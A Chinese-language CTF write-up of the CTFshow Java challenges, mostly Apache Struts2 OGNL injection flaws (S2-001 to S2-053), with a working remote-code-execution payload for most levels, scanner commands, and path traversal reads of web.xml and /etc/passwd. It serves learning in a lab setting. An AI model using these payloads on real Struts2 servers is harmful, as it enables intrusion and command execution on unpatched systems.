CTFSHOW-JAVA

文章发布时间:

最后更新时间:

终于到了JAVA部分

  • web279. S2-001
    打开题面之后跳转到http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/
    测试一下%{1+1}发现表达式存在解析
    直接利用脚本https://github.com/HatBoy/Struts2-Scan/
    1
    2
    3
    python3 Struts2Scan.py -u http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/login.action

    python3 Struts2Scan.py -u http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/login.action -n S2-001 --exec
    flag位于环境变量当中,所以直接利用env
    一些常用获取信息的表达式
    1
    2
    3
    4
    5
    6
    7
    8
     // 获取tomcat路径
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

    // 获取web路径
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

    // 命令执行 env,flag就在其中
    password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
  • web280. S2-005
    题面开头存在url跳转,可以看到有参数注入点
    image.png
    POC
    1
    (%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27)(racerz)(racerz)&(%27%5Cu0023_memberAccess.acceptProperties%5Cu003d@java.util.Collections@EMPTY_SET%27)(racerz)(racerz)&(%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27)(racerz)(racerz)&(%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27)(racerz)(racerz)&('%5Cu0040java.lang.Runtime%40'%2B'getRuntime().exec(%5Cu0023aa)')(%5Cu0023aa%5Cu003d'open%5Cu0020-a%5Cu0020Calculator.app')('racerz')
  • web281. S2-007
    类型转换时错误会导致保存参数至stack和context,而在解析标签时会重新导入并执行OGNL解析
    POC
    1
    ' + (#_memberAccess["allowStaticMethodAccess"]=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean("false"),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
  • web282. S2-008
    这个编号有好几个洞,比较鸡肋。其中能RCE的需要开启devmode调试模式,通过参数debug=consoledebug=browser&object=debug=command&expression=可执行任意OGNL表达式
    这个题貌似只有最后一个可以,其他没回显(可能是没页面跳转)
    POC
    1
    debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dnew%20java.lang.Boolean(%22false%22)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))
  • web298. 看看代码,了解下和php不一样的地方
    给了一个jar包,直接看看路由,有login
    image.png{:height 185, :width 572}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    User user = new User(username, password);
    if (username == "admin") {
    out.print("you are not admin");
    } else if (user.getVipStatus()) {
    out.print("you are login");
    String flag = Util.readFlag("/flag");
    out.print(flag);
    } else {
    out.print("login failed");
    }

    out.flush();
    out.close();
    }
    //////////////////////////////////////////////////////////////////////////////////////////////
    public boolean getVipStatus() {
    return this.username.equals("admin") && this.password.equals("ctfshow");
    }
    虽然不知道咋能直接绕过admin,但是确实只要满足username=admin&password=ctfshow即可
  • web299. 了解为主
    源码中存在提示
    image.png
    有个文件读取接口,试着读一下配置文件`WEB-INF/web.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?xml version="1.0" encoding="UTF-8"?>
    <web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
    <display-name></display-name>
    <servlet>
    <description>This is the description of my J2EE component</description>
    <display-name>This is the display name of my J2EE component</display-name>
    <servlet-name>ViewSourceServlet</servlet-name>
    <servlet-class>com.ctfshow.servlet.ViewSourceServlet</servlet-class>
    </servlet>
    <servlet>
    <description>This is the description of my J2EE component</description>
    <display-name>This is the display name of my J2EE component</display-name>
    <servlet-name>GetFlag</servlet-name>
    <servlet-class>com.ctfshow.servlet.GetFlag</servlet-class>
    </servlet>
    <servlet-mapping>
    <servlet-name>ViewSourceServlet</servlet-name>
    <url-pattern>/view-source</url-pattern>
    </servlet-mapping> <servlet-mapping>
    <servlet-name>GetFlag</servlet-name>
    <url-pattern>/getFlag</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    </welcome-file-list></web-app>

    可以看到有个GetFlag类,试着直接读源码WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
    image.png
    其中可以看到flag文件路径,直接读
    先利用..找到根目录 -> ../../../../../etc/passwd
    然后直接读flag即可../../../../../fl3g
  • web 300. java告一段落
    同上,../../../../../f1bg
  • web 283. Struts2 showcase远程代码执行漏洞 S2-009
    漏洞成因就是黑名单验证只针对参数名而未针对参数值,那么将OGNL写到参数值中,再通过OGNL-context上下文直接调用就行(因为参数上下文信息初始时是直接写到了action stack的root中)
    POC
    1
    name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a), %23c=new+java.io.BufferedReader(%23b), %23d=new+char[51200],%23c.read(%23d), %23q=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), %23q.println(%23d), %23q.close())(racr)&z[(name)(%27meh%27)]
  • web284. S2-012
    配置了重定向类,并利用${}来进行传参的时候,就会在处理时同样触发到OGNL循环解析
    POC
    1
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
  • web285. S2-013
    标签<s:a<s:url可将当前请求中的参数渲染到链接当中,需要设置includeParams属性值为all/get。这其中存在OGNL二次解析导致RCE

    POC

    1
    2
    3
    4
    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

    test=%25%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

  • web286. S2-015
    设置通配符*来动态配置url路由及其返回结果页面,将会导致OGNL二次解析
    1
    2
    3
    4
    5
    <package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
    <result>/{1}.jsp</result>
    </action>
    </package>
    POC
    1
    %24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action
  • web287. S2-016
    重定向redirect功能导致和S2-012一样,会对this.location中的值进行OGNL解析
    POC
    1
    redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22env%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D
  • web288. S2-019
    其实就是S2-008的Debug模式下的利用
    POC
    1
    ?debug=command&expression=%23p%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter()%2c%23p.println(%22hacker%22)%2c%23p.close()
  • web289. S2-029
  • web290. S2-032
    DMI开启下,可以通过DefaultMemberAccess绕过静态方法限制,实现RCE
    1
    method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env
  • web291. S2-033

    开启Strut2 REST Plugin插件时,对actionName没有限制,导致可以绕过限制最终和S2-032一样,在DefaultActionInvocation#invokeAction中调用OGNL解析method,实现RCE

    1
    %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id
  • web292. S2-037
    和S2-033同理
    image.png
  • web293. S2-045
    Content-type可控并流入errors中导致OGNL解析;利用JAVA对象引用特性绕过OGNL解析限制
    POC
    1
    Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
  • web294. S2-046
    与S2-045原理一致,source点改为filename字段,利用条件是出现\u0000或者数据大小超过2G
    POC
    1
    Content-Disposition: form-data; name="upload"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b"
  • web295. S2-048
    与前面两个原理一致,利用了Struts1Action类中execute时会将请求中的信息带入并随后执行OGNL解析,其中请求中的信息可控
    1
    %25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29.%28%23q%29%7D
  • web296. S2-052
    struts2-rest-plugin插件拦截器调用xstream处理时对参数无过滤
  • web297. S2-053
    类似S2-001 FreeMaker模版引擎在解析用户传递的参数时存在OGNL二次解析
    POC
    1
    {(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}